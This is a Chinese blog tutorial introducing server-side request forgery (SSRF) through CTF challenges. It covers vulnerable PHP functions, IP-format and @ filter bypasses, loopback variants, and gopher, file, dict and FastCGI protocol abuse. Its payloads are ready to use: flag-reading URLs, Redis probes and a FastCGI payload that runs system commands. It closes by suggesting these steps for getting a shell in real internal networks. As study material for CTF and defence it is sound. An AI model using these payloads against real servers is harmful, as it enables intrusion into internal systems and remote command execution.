SSRF入门

0x00 概述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)


0x01 原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

简单来说:所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞


0x02 SSRF危害

1.内外网的端口和服务扫描

2.攻击运行在内网或本地的应用程序

3.对内网web应用进行指纹识别,识别企业内部的资产信息

4.攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)

5.利用file协议读取本地敏感数据文件等


0x03 造成SSRF的函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。

file_get_contents()

PHP: file_get_contents - Manual

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

file_get_contents — 将整个文件读入一个字符串

这里可以用来获取远程数据,比如源码和图片。

sockopen()

PHP: fsockopen - Manual

(PHP 4, PHP 5, PHP 7, PHP 8)

fsockopen — 打开 Internet 或者 Unix 套接字连接

简单来说就是:跟服务器建立tcp连接,传输原始数据。

curl_exec()

PHP: curl_exec - Manual

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_exec — 执行 cURL 会话

这个函数应该在初始化 cURL 会话并且设置所有选项后调用。

这个还是相当常见的

0x04 绕过

一般来说,对于SSRF的限制在于对攻击者IP的限制(其要求发送者IP的合法性),这里需要绕过。

IP进制改写

若对IP进行正则过滤,可以通过改写IP形式来绕过

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1

@绕过

要求URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

构造payload:

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

如果要求以http://notfound.ctfhub开头.com 结尾的话,依旧可以使用@

payload

?url=http://notfound.ctfhub@127.0.0.1/flag.php.com

或者:

url=http://ctf.@127.0.0.1/flag.php#show

此类需要某某开头 某某结束的题目均可使用@进行绕过。

回环地址绕过

回环地址不止127.0.0.1,这便有了很大的操作空间

1
2
3
4
5
6
url=http://0/flag.php
url=http://0.0/flag.php
url=http://sudo.cc/flag.php
http://localhost/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302跳转

这个对程序的逻辑有要求

由于跳转的发起者是服务端,所以127.0.0.1自然也是服务端的本机。

需要自己搭个服务跳转

利用URL伪协议

Gopher协议

通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

我写过一篇博客:https://pax-pq.github.io/2024/05/18/Gopher%E5%85%A5%E9%97%A8/

file协议

读取文件很好用,exp:

file://var/www/html/flag.php

dict协议

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
协议格式:dict://<host>:<port>/<dict-path>
一般用dict://<host>:<port>/info 探测端口应用信息

举个栗子:

1
2
dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息

FastCGI协议

必看原理 -> 附件文章在这里

简单来说利用Gopherus编写FastCGI,可以实现任意命令执行

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': 'index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '',
'REQUEST_URI': '',
'DOCUMENT_ROOT': '/',
'SERVER_SOFTWARE': 'go / fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '9000',
'SERVER_NAME': '',
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_LENGTH': '59',
'PHP_VALUE': 'allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input',
'POST_DATA': '<?php system(\'cat /f*\');die(\'-----Made-by-SpyD3r-----\');?>'

}

PHP_VALUE

这个部分用于设置PHP的配置指令。它可以通过FastCGI协议传递给PHP解释器,以覆盖默认的PHP配置

  • allow_url_include = On:
    • 允许使用URL作为includerequire语句的目标。这意味着可以通过URL来包含远程文件。
  • disable_functions =:
    • 禁用的PHP函数列表。在这里是空的,意味着没有禁用任何函数。
  • auto_prepend_file = php://input:
    • 指定在每个请求开始时自动包含的文件。php://input是一个只读流,可以访问请求的原始POST数据。这里设置为php://input,意味着PHP会在处理请求之前读取并执行POST数据中的内容。

POST_DATA

这个部分表示通过POST请求发送的数据。

经过一系列配合即可,不过要注意多次编码。

Redis协议

怎么说呢,我都是用脚本

DNS rebinding

浅谈DNS重绑定漏洞 - 知乎 (zhihu.com)

工具:rbndr.us dns rebinding service (cmpxchg8b.com)

DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

他人经验

虽然这篇文章都是基于CTF来分析SSRF相关知识的,但是我觉得可以从这些CTF题目中延伸出一些渗透攻击的思路。

就比如:如果我们发现一处SSRF,我们可以使用使用file 伪协议读取敏感信息,http/s和dict协议判断内网存活主机和端口,从端口判断内网中存在的服务。

当我们发现redis/fastcgi/mysql等服务时, 我们可以利用协议gopher和工具 gopherus 进行getshell。